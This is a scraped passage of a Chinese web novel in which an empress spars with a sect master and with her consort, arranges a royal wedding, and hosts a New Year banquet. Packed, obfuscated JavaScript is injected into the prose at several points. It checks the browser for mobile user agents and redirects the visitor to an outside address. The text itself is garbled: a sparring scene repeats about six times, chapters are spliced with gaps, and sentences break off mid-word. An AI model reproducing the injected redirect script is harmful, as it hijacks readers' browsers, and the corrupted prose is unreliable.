她变招迅速,右拳直击老宗主面门,老宗主偏头闪过,慕容嫣顺势左臂弯曲,肘击老宗主胸口,动作一气呵成。 老宗主抬手格挡,手臂与她肘部相撞,发出沉闷声响。 紧接着,老宗主双腿连环踢出,每一脚都力沉千钧,踢向慕容嫣要害。 只见她右足如钩,带着凌厉劲风,直逼慕容嫣咽喉,脚尖在距咽喉一寸之处,硬生生顿住,那股呼啸劲风刮得慕容嫣脖颈肌肤生疼。 慕容嫣心中一凛,刚欲后退,老宗主左脚已至,踢向她心口,这一脚若踢实,即便慕容嫣经过噬心蛊改造的身体十分强健,也必受重创。 好在老宗主千钧一发之际收住脚力,鞋尖轻触凤袍,荡起一圈细微涟漪。 慕容嫣也敏锐察觉到老宗主的刻意留手,心中更是不服气,攻势愈发猛烈。 她娇喝一声,体内灵力鼓荡,黑色凤袍随之膨胀。 拖尾之上星辰暗纹光芒闪烁,随着她的拳脚挥舞,仿若给每一招式都加持了无形力量。 慕容嫣拳脚并用,右拳直击老宗主腹部,左掌横削老宗主脖颈,配合紧密,威力大增。 老宗主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363692|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢大意,侧身一闪,避开锋芒。 而后猛地前冲,右拳直击慕容嫣腹部,拳风呼啸。 在即将击中瞬间,老宗主硬生生撤回力量,拳头贴着凤袍,震得凤袍上的星辰暗纹光芒一闪。 慕容嫣趁势反击,左掌带着凛冽寒气拍出,老宗主矮身躲过,同时左腿横扫,目标是慕容嫣双腿,却在快要触碰到时紧急收住。 几个回合下来,慕容嫣已是气喘吁吁,额前发丝被汗水浸湿,凌乱地贴在脸颊上,然帝王风姿不减分毫。 她见久攻不下,心知与老宗主实力有差距,便强行收住招式,凤袍拖尾缓缓落下,重归平静。 微微仰头,平复气息后说道:“朕今日受教了。 声音虽有不甘,却也透着几分豁达。 老宗主亦是气息不稳,白发略显凌乱,双手抱拳行礼:“陛下天赋异禀,短短时间就有如此实力,假以时日,老身绝不是对手。” 慕容嫣轻轻一笑,笑声仿若清风拂过湖面:“老宗主过谦了,今日这番切磋,让朕受益匪浅,改日再来讨教。” 说罢转身,凤袍拖尾划出一道优雅弧线,在青霞陪同下,缓缓离去。 打斗是个辛苦的过程,慕容嫣却浑然不觉,一边用青霞递过来的香气扑鼻的手帕擦汗,一边问道:“青霞,你最近可有练功?” 青霞笑道:“回陛下,并没有练功,只是早晨起来时轧马,晚上打坐而已。因为.”说到这青霞看了看自己肚子,无奈地道:“因为身子不允许,王爷也不允许。” “你怀的是夫君的种,王爷担心是正常的,怎么?我看你这身体要比晴雯强健得很,最近家里可有难处?” “没有难处,一切都好。” “嗯,朕听说过你和夫君的故事,不过没关系,既然夫君不追究,那朕也不会对你另眼相看,天道的事情你放心,朕会给她们所有人一个安身立命之所,等到了年纪,也允许她们出嫁,嫁妆朕来出。” “多谢陛下!”得到这样的肯定青霞很高兴,连忙再次福身。 第431章 一切按照帝王大婚之礼筹备 慕容嫣又对青霞交代几句。 无非就是好好养胎,有什么需要就直接去找林臻,或者进宫来找她也可以。 既然女子都已经称帝,那女子进宫挨打的传统也该废除掉了。 午后的骄阳洒下万道金光,将巍峨的皇宫装点得金碧辉煌,琉璃瓦闪耀着炫目的光泽,朱红的宫墙似在诉说着王朝的威严。 慕容无舌是个会来事的,等慕容嫣到达王府以后,他便迅速差人会宫里取来凤辇。 他知道慕容嫣喜欢做凤辇。 果然,慕容嫣见到凤辇很是高兴,随即在一众侍卫与宫女的簇拥下,缓缓驶入皇宫大门,所经之处,内侍、宫娥纷纷跪地,不敢抬头直视,唯闻衣袂飘动之声与轻微的呼吸颤抖。 凤辇行至议政殿外,慕容嫣款步而下,刹那间,仿若日光都沦为陪衬,所有光芒尽聚于她一身。 她头顶的凤冠,以纯金为底,细细的金丝精心编织,勾勒出凤凰展翅翱翔之态,凤凰的双眸镶嵌着两颗血红的宝石,宛如浴火重生时的烈烈火焰,在日光下折射出摄人心魄的光芒。 每一片凤羽皆用薄如蝉翼的翠玉雕琢而成,翠玉之上还镌刻着繁复的云纹,灵动轻盈,似有风拂过时便能随之舞动。 凤冠的正中央,一颗硕大的明珠亭亭而立,圆润无瑕,散发着柔和而圣洁的光晕,仿若将漫天星辰的光辉尽纳其中,为慕容嫣凭添了几分超凡脱俗的神圣感。 再看她身披的黑色凤袍,袍身由顶级的绸缎织就,质地柔软却又挺括有型,触手生凉,仿若流淌的夜色。 其上用金银双色丝线绣制的凤凰栩栩如生,每一根羽毛都清晰可辨,金凤的羽梢以极细的金丝缠绕,在微光下闪烁着星星点点的光芒。 银凤则以银丝勾勒轮廓,线条流畅优雅,宛如月光倾洒,给这霸气的金凤添了几分静谧与柔美。 两种丝线交织穿梭,使得凤凰仿若有了生命,或振翅欲飞,或引颈长鸣,肆意张扬着王者的尊荣。 最令人惊叹的,当属那五十米的拖尾,它仿若从九天之上蜿蜒而下的银河,又似是凤凰涅槃后留下的绝美尾羽。 拖尾的底色是深邃如墨的黑,却又在日光的映照下,泛出点点幽蓝的光泽。 其上绣满了星辰、火焰与云霞的图案,星辰以细碎的珍珠镶嵌而成,颗颗饱满,散发着温润的光泽。 火焰则是以**磨成的粉末勾勒,那跳跃的、炽热的形状给这威严的凤袍注入了无尽的活力;云霞用彩色的丝线绣就,层层叠叠,色彩斑 斓,仿若天边的绮丽霞光被裁剪下来,装点着这拖尾。 当慕容嫣步入殿内,拖尾层层缠绕上凤台,盘旋数圈,随着她的脚步轻移,拖尾上的星辰闪烁、火焰跳跃、云霞飘动,仿若一幅动态的仙幻画卷在眼前展开。 整个人站在高台之上,既美轮美奂如仙子临世,又散发着令人敬畏的帝王之气,仿若这天地间唯她独尊。 殿外,礼部尚书杜文轩早已躬身候着,听闻殿内动静,他趋步而入,眼角余光瞥见慕容嫣的身影,心中便是一震。 这等威严与风姿,饶是他在朝堂多年,历经风雨,也不禁心生敬畏。 当下不敢有丝毫耽搁,快步走到殿中合适位置,撩袍跪地,高呼:“参见陛下!” 慕容嫣玉手轻轻一挥,声如洪钟:“平身。” 杜文轩缓缓起身,微微低头,目光不敢肆意乱瞟,只盯着脚下的金砖。 慕容嫣莲步轻移,凤袍拖尾随之沙沙作响,她在殿中踱步片刻,突然开口:“杜爱卿,朕今日召你前来,是有要事相商。婉儿已下定决心不嫁了。” 杜文轩听闻此言,微微一怔,心中暗自揣测陛下此番言语的用意。 却听慕容嫣话锋一转:“然朕以为,这婚礼一事,关乎王府颜面,更是牵系我大乾国运,断不可就此搁置。朕意已决,朕将与世子林臻完婚。你且回去,重新算定良辰吉日,一切按照帝王大婚之礼筹备。” 此言一出,仿若一道惊雷在杜文轩耳边炸响。 他脸上瞬间变色,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363693|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情大骇,满眼皆是不可思议之色。 愣了一瞬后,他忙开口道:“陛下,这……古往今来,从未有女子为帝而后大婚的先例啊!老臣惶恐,深恐安排有失妥当,有负陛下重托,还望陛下三思。” 他的声音微微颤抖,额头已然冒出细密汗珠,双手也不自觉地在袖中握紧。 慕容嫣凤目一瞪,眼中寒光一闪而过,那目光仿若实质,直直刺向杜文轩,殿内温度仿若瞬间下降,气氛凝重得让人窒息。 她提高音量,字字如重锤:“朕既已告知于你,便要你依令而行,按照帝王大婚之礼筹备,速速去办!倘若办得有半分差池,你这礼部尚书的位置就不用坐了。” 杜文轩心头一凛,当下不敢再多辩,唯唯诺诺应下:“微臣遵旨。” 可他心中却如翻江倒海一般,满是焦虑与无奈。 女帝为帝,还和王府世子大婚。 这.这该如何是好? 算了,还是先应下吧。 等回去找几个大臣商量商量。 是让言官出面劝阻,还是请王爷出山,以长辈之姿劝诫陛下莫行此离经叛道之事? 可这些念头在脑海中转了又转,却又觉得个个棘手。 慕容嫣见他不再言语,挥了挥手:“退下吧。” 杜文轩如蒙大赦,躬身行礼,缓缓后退,直至退出议政殿,这才直起腰来,长舒一口气。 可脸上的愁云却愈发浓重。 他脚步略显沉重地往宫外走去,一路上心思纷杂,路过前殿时,还听到几个小宫女正凑在一处,叽叽喳喳地议论着。 “你们听说了吗?陛下今日回宫,好像要办什么大事呢!”一个圆脸宫女悄声说道,眼睛里闪烁着好奇的光芒。 “我也隐约听闻了,好像跟婚礼有关,可陛下要跟谁成婚呀?” “嘘,小声点,这可是宫闱秘事,咱们可不能乱说,要是传到上头耳朵里,可有咱们好受的。” 杜文轩听着这些议论,心中更是烦闷,加快脚步离开了御花园。 第432章 反正林臻留着也没用 回到礼部衙门,他径直走进书房,遣散了左右侍从,独自坐在书桌前,双手抱头,陷入了沉思。 一方面,他深知慕容嫣的脾气,一旦下定决心,九头牛都拉不回来。 可这女子称帝大婚,打破祖宗成法,必定会引起轩然大波,朝堂之上,那些守旧的大臣们怎肯轻易罢休? 言官们定会引经据典,口诛笔伐,朝堂怕是又要乱成一锅粥。 唉。 另一方面,若真按照帝王大婚筹备,诸多礼仪细节都无前例可循,稍有不慎,自己这乌纱帽固然不保,还可能累及家族。 况且,这其中牵扯的势力盘根错节,王爷那边态度不明,林臻又是否愿意? 虽然都说林臻与陛下有私情,但那也是传闻啊。 万一婚事有变,自己岂不是首当其冲,成了众矢之的? 思来想去,杜文轩觉得还是先找几位大臣商议为妙。 他站起身来,在书房内踱步,决定明日一早就去拜访几位朝中重臣,看看他们有何高见。 主意已定,他才稍稍安心,可一想到即将面临的重重困难,又忍不住叹了口气。 而在皇宫之中,慕容嫣站在议政殿的凤台上,望着杜文轩离去的方向,凤目深邃。 终于要到这一天了,她有些激动。 又有些觉得不真实。 这个曾经让自己忌惮无比的王府,居然会成为她的夫家,还是皇帝的丈夫。 造化弄人啊。 愿意吗? 那肯定是愿意的。 嫁给林臻,是慕容嫣的愿望之一。 但真就这么嫁了,她又有些不甘心。 况且彩礼、婚房什么的都没谈呢。 不行,朕不能这么稀里糊涂的。 寻常人家嫁女儿还得要彩礼和三金呢,朕是皇帝,彩礼就勉强守他一百万两。 三金就变三百斤黄金吧,反正林臻留着也没用。 打定了主意,慕容嫣露出一抹淡笑,轻轻抚摸着凤袍上的凤凰羽毛。 突然,她又觉得自己有点势利。 林臻可是把一切都给她了,她还这么狮子大开口,是不是不太好?万一林臻不嫁 林臻不娶了怎么办?那不是要出洋相的吗? 古往今来,有多少男子因为女人临时提高彩礼、三金等要求而悔婚的? 不行!绝对不行! 大不了这些东西都不要了吧,再让林臻把她那些妻妾也都带来,让所有群臣都见见。 全国 上下一起乐呵乐呵才是正经。 嗯,就这么办! 想通了的慕容嫣心情极好,连看向凤袍的双眸都柔和了几分。 华灯初上,皇宫沉浸在一片静谧的夜色之中,暖黄的宫灯盏盏摇曳,似在低声诉说着宫廷秘事。 慕容嫣的寝殿外,庭院被月色笼罩,宛如铺上了一层银霜,静谧而清冷。 林臻身着一袭墨色锦袍,身姿挺拔如松,稳步踏入这庭院。 还未及靠近寝殿大门,目光便被一道熟悉而又震撼的身影牢牢吸引。 只见慕容嫣一袭黑色凤袍傲然而立,凤袍在夜风中猎猎作响,那五十米的拖尾仿若一条沉睡的黑色神凰,蜿蜒于地,其上绣着的星辰与火焰暗纹,在月色下闪烁着神秘而迷人的微光,衬得她宛如夜空中最耀眼的神祇。 林臻微微一怔,随即开口唤道:“嫣儿,你找我?” 声音带着几分亲昵与疑惑。 慕容嫣莲步轻移,轻盈地回眸,双眸在月色下仿若璀璨星辰,她朱唇轻启:“正是,一会儿再说,先陪朕打两拳。” 林臻听闻此言,神情瞬间大骇,瞪大了眼睛脱口而出:“啊?又来?” 这话语还在空中飘荡,说时迟那时快,慕容嫣已然动若脱兔,右拳裹挟着烈烈拳风,如闪电般直逼林臻面门。 此刻,她身上的黑色凤袍仿若被注入了生命,随着她的动作剧烈地鼓动起来,似一只振翅欲飞的黑凤。 而那五十米的拖尾,竟也像是有了自主意识,拖尾末梢在地面一扫,带起一片尘土,仿若一条灵动的长鞭,干扰着林臻的视线,令他躲避的瞬间微微一滞。 林臻心中一凛,不敢有半分大意,脚下轻点,侧身一闪,以毫厘之差避开了这凌厉一击。 慕容嫣一击未中,却丝毫没有停顿,左腿迅速抬起,如钢鞭横扫而出,腿风呼啸,竟将周围的空气都抽得“啪啪”作响。 凤袍拖尾此时更是配合默契,随着她左腿的横扫,拖尾猛地扬起,在空中划出一道黑色的弧线,仿若一道夜幕屏障,遮挡住林臻部分视线的同时,也为慕容嫣的攻击增添了几分气势。 林臻见状,矮身一蹲,双掌贴地,掌心猛地拍出,借助反作用力,整个人如离弦之箭向后倒飞而出,稳稳落在数丈之外。 “嫣儿,别打了,咱有话好好说行不行?”林臻边说边调整着呼吸,眼中虽有无奈,却也透着宠溺。 慕容嫣却不搭话,攻势愈发猛烈,她娇喝一声,体内灵力涌动,黑色凤袍鼓胀而起。 双手握拳,连环出击,每一拳都带着千钧之力,拳风所到之处,花草簌簌发抖。 那拖尾仿若感知到主人的战意,在地面不断蜿蜒扭动,所经之处,月光下的石板地面都似被划出了一道道痕迹,扬起的尘土令周围的空气都变得浑浊起来,进一步扰乱林臻的判断。 林臻无奈之下,也只得凝神应对。 他身形灵动,在慕容嫣的拳影腿风之间穿梭自如,时不时寻机反击,出拳踢腿亦是虎虎生风。然而,慕容嫣毕竟师从无舌,又占着几分主场优势。 就在林臻一个侧身躲避慕容嫣的直拳时,脚下不慎被一块凸起的砖石绊了一下,身形一晃。 “**!!” 慕容嫣瞅准时机,右腿高高抬起,一个漂亮的侧踹,结结实实地踹在了林臻的后背。 此时,凤袍拖尾的末梢随着她这一踹之力,狠狠地抽打在一旁的花丛上,花枝断裂,花瓣纷飞,更衬出这一击的威力。 “啊呀!!”林臻只觉一股大力袭来,整个人向前扑去,狼狈地摔了个“狗啃屎”。 “噗嗤哈哈哈哈哈。” 慕容嫣见状,忍不住笑出声来,笑声仿若银铃在夜色中清脆作响。 她莲步轻移,走到林臻身旁,伸出玉手:“起来吧,瞧你这狼狈样。” 林臻握住她的手,借力起身,拍了拍身上的尘土,苦笑着说:“陛下这武功愈发精湛,臣是甘拜下风了。” 双手握拳,连环出击,每一拳都带着千钧之力,拳风所到之处,花草簌簌发抖。 那拖尾仿若感知到主人的战意,在地面不断蜿蜒扭动,所经之处,月光下的石板地面都似被划出了一道道痕迹,扬起的尘土令周围的空气都变得浑浊起来,进一步扰乱林臻的判断。 林臻无奈之下,也只得凝神应对。 他身形灵动,在慕容嫣的拳影腿风之间穿梭自如,时不时寻机反击,出拳踢腿亦是虎虎生风。然而,慕容嫣毕竟师从无舌,又占着几分主场优势。 就在林臻一个侧身躲避慕容嫣的直拳时,脚下不慎被一块凸起的砖石绊了一下,身形一晃。 “**!!” 慕容嫣瞅准时机,右腿高高抬起,一个漂亮的侧踹,结结实实地踹在了林臻的后背。 此时,凤袍拖尾的末梢随着她这一踹之力,狠狠地抽打在一旁的花丛上,花枝断裂,花瓣纷飞,更衬出这一击的威力。 “啊呀!!”林臻只觉一股大力袭来,整个人向前扑去,狼狈地摔了个“狗啃屎”。 “噗嗤哈哈哈哈哈。” 慕容嫣见状,忍不住笑出声来,笑声仿若银铃在夜色中清脆作响。 她莲步轻移,走到林臻身旁,伸出玉手:“起来吧,瞧你这狼狈样。” 林臻握住她的手,借力起身,拍了拍身上的尘土,苦笑着说:“陛下这武功愈发精湛,臣是甘拜下风了。” 双手握拳,连环出击,每一拳都带着千钧之力,拳风所到之处,花草簌簌发抖。 那拖尾仿若感知到主人的战意,在地面不断蜿蜒扭动,所经之处,月光下的石板地面都似被划出了一道道痕迹,扬起的尘土令周围的空气都变得浑浊起来,进一步扰乱林臻的判断。 林臻无奈之下,也只得凝神应对。 他身形灵动,在慕容嫣的拳影腿风之间穿梭自如,时不时寻机反击,出拳踢腿亦是虎虎生风。然而,慕容嫣毕竟师从无舌,又占着几分主场优势。 就在林臻一个侧身躲避慕容嫣的直拳时,脚下不慎被一块凸起的砖石绊了一下,身形一晃。 “**!!” 慕容嫣瞅准时机,右腿高高抬起,一个漂亮的侧踹,结结实实地踹在了林臻的后背。 此时,凤袍拖尾的末梢随着她这一踹之力,狠狠地抽打在一旁的花丛上,花枝断裂,花瓣纷飞,更衬出这一击的威力。 “啊呀!!”林臻只觉一股大力袭来,整个人向前扑去,狼狈地摔了个“狗啃屎”。 “噗嗤哈哈哈哈哈。” 慕容嫣见状,忍不住笑出声来,笑声仿若银铃在夜色中清脆作响。 她莲步轻移,走到林臻身旁,伸出玉手:“起来吧,瞧你这狼狈样。” 林臻握住她的手,借力起身,拍了拍身上的尘土,苦笑着说:“陛下这武功愈发精湛,臣是甘拜下风了。” 双手握拳,连环出击,每一拳都带着千钧之力,拳风所到之处,花草簌簌发抖。 那拖尾仿若感知到主人的战意,在地面不断蜿蜒扭动,所经之处,月光下的石板地面都似被划出了一道道痕迹,扬起的尘土令周围的空气都变得浑浊起来,进一步扰乱林臻的判断。 林臻无奈之下,也只得凝神应对。 他身形灵动,在慕容嫣的拳影腿风之间穿梭自如,时不时寻机反击,出拳踢腿亦是虎虎生风。然而,慕容嫣毕竟师从无舌,又占着几分主场优势。 就在林臻一个侧身躲避慕容嫣的直拳时,脚下不慎被一块凸起的砖石绊了一下,身形一晃。 “**!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时,凤袍拖尾的末梢随着她这一踹之力,狠狠地抽打在一旁的花丛上,花枝断裂,花瓣纷飞,更衬出这一击的威力。 “啊呀!!”林臻只觉一股大力袭来,整个人向前扑去,狼狈地摔了个“狗啃屎”。 “噗嗤哈哈哈哈哈。” 慕容嫣见状,忍不住笑出声来,笑声仿若银铃在夜色中清脆作响。 她莲步轻移,走到林臻身旁,伸出玉手:“起来吧,瞧你这狼狈样。” 林臻握住她的手,借力起身,拍了拍身上的尘土,苦笑着说:“陛下这武功愈发精湛,臣是甘拜下风了。” 双手握拳,连环出击,每一拳都带着千钧之力,拳风所到之处,花草簌簌发抖。 那拖尾仿若感知到主人的战意,在地面不断蜿蜒扭动,所经之处,月光下的石板地面都似被划出了一道道痕迹,扬起的尘土令周围的空气都变得浑浊起来,进一步扰乱林臻的判断。 林臻无奈之下,也只得凝神应对。 他身形灵动,在慕容嫣的拳影腿风之间穿梭自如,时不时寻机反击,出拳踢腿亦是虎虎生风。然而,慕容嫣毕竟师从无舌,又占着几分主场优势。 就在林臻一个侧身躲避慕容嫣的直拳时,脚下不慎被一块凸起的砖石绊了一下,身形一晃。 “**!!” 慕容嫣瞅准时机,右腿高高抬起,一个漂亮的侧踹,结结实实地踹在了林臻的后背。 此时,凤袍拖尾的末梢随着她这一踹之力,狠狠地抽打在一旁的花丛上,花枝断裂,花瓣纷飞,更衬出这一击的威力。 “啊呀!!”林臻只觉一股大力袭来,整个人向前扑去,狼狈地摔了个“狗啃屎”。 “噗嗤哈哈哈哈哈。” 慕容嫣见状,忍不住笑出声来,笑声仿若银铃在夜色中清脆作响。 她莲步轻移,走到林臻身旁,伸出玉手:“起来吧,瞧你这狼狈样。” 林臻握住她的手,借力起身,拍了拍身上的尘土,苦笑着说:“陛下这武功愈发精湛,臣是甘拜下风了。” 双手握拳,连环出击,每一拳都带着千钧之力,拳风所到之处,花草簌簌发抖。 那拖尾仿若感知到主人的战意,在地面不断蜿蜒扭动,所经之处,月光下的石板地面都似被划出了一道道痕迹,扬起的尘土令周围的空气都变得浑浊起来,进一步扰乱林臻的判断。 林臻无奈之下,也只得凝神应对。 他身形灵动,在慕容嫣的拳影腿风之间穿梭自如,时不时寻机反击,出拳踢腿亦是虎虎生风。然而,慕容嫣毕竟师从无舌,又占着几分主场优势。 就在林臻一个侧身躲避慕容嫣的直拳时,脚下不慎被一块凸起的砖石绊了一下,身形一晃。 “**!!” 慕容嫣瞅准时机,右腿高高抬起,一个漂亮的侧踹,结结实实地踹在了林臻的后背。 此时,凤袍拖尾的末梢随着她这一踹之力,狠狠地抽打在一旁的花丛上,花枝断裂,花瓣纷飞,更衬出这一击的威力。 “啊呀!!”林臻只觉一股大力袭来,整个人向前扑去,狼狈地摔了个“狗啃屎”。 “噗嗤哈哈哈哈哈。” 慕容嫣见状,忍不住笑出声来,笑声仿若银铃在夜色中清脆作响。 她莲步轻移,走到林臻身旁,伸出玉手:“起来吧,瞧你这狼狈样。” 林臻握住她的手,借力起身,拍了拍身上的尘土,苦笑着说:“陛下这武功愈发精湛,臣是甘拜下风了。” 第436章 新年(二) 除夕夜的大乾皇宫,瑞雪初霁。 金銮殿飞檐上垂挂的冰棱折射着琉璃灯的光芒,檐角铜铃在寒风中叮咚作响,与殿内丝竹管弦声交织成曲。 朱漆大门洞开,暖黄的烛火如潮水般涌出,将满地白雪染成流金,恍若人间仙境。 三十六名金甲武士手持长戟肃立殿门,他们铠甲上的鎏金纹饰在烛火下流转,映得雪地上的凤翎御道愈发威严庄重。 殿内沉香袅袅,二十四盏玄凤烛台将汉白玉地面照得纤毫毕现。 文官身着紫袍,胸前金线绣着的仙鹤祥云随着他们行礼的动作若隐若现,寓意高洁祥瑞;武官身披红袍,胸口银线勾勒的猛虎下山图案栩栩如生,彰显着沙场征战的英武之气。 众人按文东武西之序分坐两侧,乌木食案上,八珍玉食层层叠叠。 翡翠琉璃盏盛着的二锅头泛着烛火光晕,玛瑙碟中堆着的水晶肴晶莹剔透,金镶玉箸旁,那道凤凰展翅造型的雕花酥更是巧夺天工,连羽毛的纹理都清晰可见。 身着月白襦裙的宫女们手持鎏金酒壶,莲步轻移,在群臣间穿梭,她们眉眼如画,浅笑嫣然,将美酒缓缓斟入杯中,每一步都似在玉盘上轻点,惊不起半点涟漪。 慕容嫣端坐在九凤朝阳鎏金宝座上,凤冠由九只栩栩如生的**衔着东珠组成,每只凤凰的尾羽都缀满了碎钻,随着她的动作折射出万千华光。 冠顶中央镶嵌着拳头大的夜明珠,即便在烛火通明的殿内,也散发着柔和而耀眼的光芒,将她眉眼间的艳丽衬托得愈发夺目。 她身着的大红色凤袍,以云锦为底,金线绣就的百鸟朝凤图铺满袍身,凤凰的羽翼上还镶嵌着七彩宝石,走动间流光溢彩。 那五十米长的拖尾自然铺陈在汉白玉地面。 拖尾自宝座台阶蜿蜒而下,顺着凤翎御道的弧度,如红色星河般流淌。 其间金丝绣就的山河社稷图在烛火下微微起伏,仿佛大乾疆土在脚下绵延。 拖尾边缘处采用立体刺绣工艺,绣出的云海波涛竟能随着慕容嫣的呼吸微微颤动,与殿内的光影交相辉映。 当她抬手举杯时,拖尾如灵动的真凤凰,顺着动作泛起细碎的波纹,金丝勾勒的山脉轮廓与远处殿壁上的山河壁画遥相呼应。 而她端坐时,拖尾又似凝固的火焰,铺展在殿中,红得浓烈夺目,将整个金銮殿都染上了一层尊贵的色彩,尽显帝王奢华威仪。 她抬手举起镶满红宝的凤凰纹酒盏,朱唇轻启,声音清脆如**出谷。 “今岁承蒙诸位爱卿殚精竭虑,大乾方能蒸蒸日上,达到新的高度。这一杯,敬大乾盛世,饮胜!” “谢陛下!”群臣齐刷刷起身,衣袂翻飞,金殿内一片叮当玉佩相撞之声。 酒液入喉,辛辣中带着回甘,众人脸上皆露出欣慰之色。 此时,丞相司马忠整了整官服,稳步出列,声音沉稳有力。 “启禀陛下,这一年我大乾国势昌隆,百姓富足。陛下推行新政,兴修水利,疏通河道,使得万亩良田得以灌溉,粮食产量创历年新高。 以渤海郡为例。新开垦的圩田达两万顷,秋收时稻谷堆积如山,连漕运船只都供不应求。各地学堂如雨后春笋般建立,仅巨鹿一地就增设官学三十六所,寒门子弟亦有机会读书识字,知礼明义。 如今街头巷尾,皆传颂陛下仁德,万民归心,大乾之声威,远播四海!更有华夏、西域诸国遣使来朝,愿以奇珍异宝换取我朝特产二锅头,波斯进贡的琉璃器皿、大食进献的夜光杯,如今都陈列在珍宝阁中。不仅如此,我朝的活字印刷术已传至海外,引得各国学者纷纷前来求学,这都是陛下圣明治理的成果!” 话音刚落,兵部尚书刘恺威大步上前。 “陛下圣明!今岁我军三战三捷,威震八方。北燕联合顾家妄图犯我边境,在代县一役中,我军以五千轻骑突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陛下唯才是举,恩泽万民。开春即将举行的大考,不论寒门还是世家一统参考,彰显陛下唯才是用的天恩。我们已在全国范围内广贴告示,招募贤才。 为确保考试公平公正,我们从各地抽调清正廉洁的官员担任考官,还设置了严密的防**措施。此次大考,不仅会选拔出治国理政的人才,更会让天下学子看到陛下求贤若渴的决心,相信会有无数英才投身大乾,为陛下效力!如今已有不少隐居的名士主动上书,愿为陛下出谋划策,其中不乏精通天文地理、兵法谋略的大才! 工部尚书此时急忙整了整官袍,跨步而出,脸上满是自豪。 “陛下,臣也有喜讯禀报!这一年,我工部在陛下的旨意下,于各地修建桥梁二十余座,贯通了以往交通不便之处,商贾往来更加顺畅,货物运输大大提速。 其中,平原的永济桥采用了新式拱桥设计,可承载万斤重物,连漕运的大船都能轻松通过。这座桥建成后,济宁到京城的商队通行时间缩短了一半,贸易额增长了五成。 同时,新修水渠三百里,不仅解决了多地农田灌溉难题,还能在雨季防洪排涝。就说那青州的黄河大桥,横跨大河,气势恢宏,百姓们都说,有了这座桥,出行再也不用绕远路,省时又省力! 此外,我们还在京城修建了大型粮仓和水利枢纽,粮仓采用了最新的防潮技术,可储存粮食十年不坏;水利枢纽更是巧妙,能根据水位自动调节水量,彻底解决了京城水患问题。这些工程,皆是陛下心系百姓,利国利民的壮举啊! 慕容嫣听着群臣的夸赞,凤目含笑,嘴角上扬,眼中满是得意与欣喜。 她频频举杯,与群臣共饮,笑声清脆悦耳:“有诸位爱卿相助,是大乾之幸,亦是朕之幸!来,再饮一杯! 就在此时,礼部尚书快步出列,脸上带着神秘的笑意。 “陛下,初八便是您大喜的日子。臣等已将一切事宜安排妥当,届时定会为陛下举办一场前所未有的盛大婚礼,让天下人共贺陛下喜事! 我们已邀请了周边各国的王室贵胄前来观礼,还准备了七十二道皇家宴席,以及精彩绝伦的歌舞表演。 长安街头也将张灯结彩,与民同庆,定让这桩喜事传遍大江南北! 婚礼当日,朱雀大街将铺满红绸,从皇宫到王府,每隔十步就有乐师奏乐。更有西域进贡的会跳舞的傀儡助兴,定能让这场婚礼成为流传千古的佳话! 殿内瞬间响起一片恭 贺之声。 “恭喜陛下!” “陛下万岁万岁万万岁!” “哈哈哈哈!” 林臻坐在群臣首位,与林震仙一文一武。 他看向满脸红光,哈哈大笑的慕容嫣心里很是欣慰。 曾几何时,这个柔弱的姑娘连胭脂粉钱都没有,最后在自己的帮助下终于成长为一代雄主。 而自己,也即将与她结为夫妻。 宴会的末尾,慕容嫣决定改元。 从大年初一开始,她的年号为凤翎元年。 大乾凤翎元年正月初一,晨曦尚未完全驱散夜幕,长安城便被喜庆的喧闹声唤醒。 朱雀大街仿若一条蜿蜒的红色长河,两侧槐树上挂满的九丈红绸在寒风中猎猎作响,沿街商铺早早卸下门板,将鎏金香炉、翡翠屏风等珍宝陈列在外。 连平日里吝啬的绸缎庄老板,都将镇店的云锦披挂在门楣,只为迎接这场千年难遇的盛世大婚。 卯时三刻,京城三品以上官员的马车如游龙般驶向皇宫。 丞相司马忠的青缎马车率先驶入宫门,车辕上镶嵌的和田玉在晨光中泛着温润光晕;户部尚书的朱漆马车满载着各地进贡的贺礼,车轮碾过石板路,发出沉重的轱辘声。 就连素来节俭的刑部尚书,也罕见地换上了新制的官服,腰间玉带在阳光下熠熠生辉。 这些平日里运筹帷幄的朝堂重臣,此刻脸上都洋溢着喜悦与期待,他们知道,今日这场婚礼,不仅是帝王私事,更是大乾盛世的象征。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 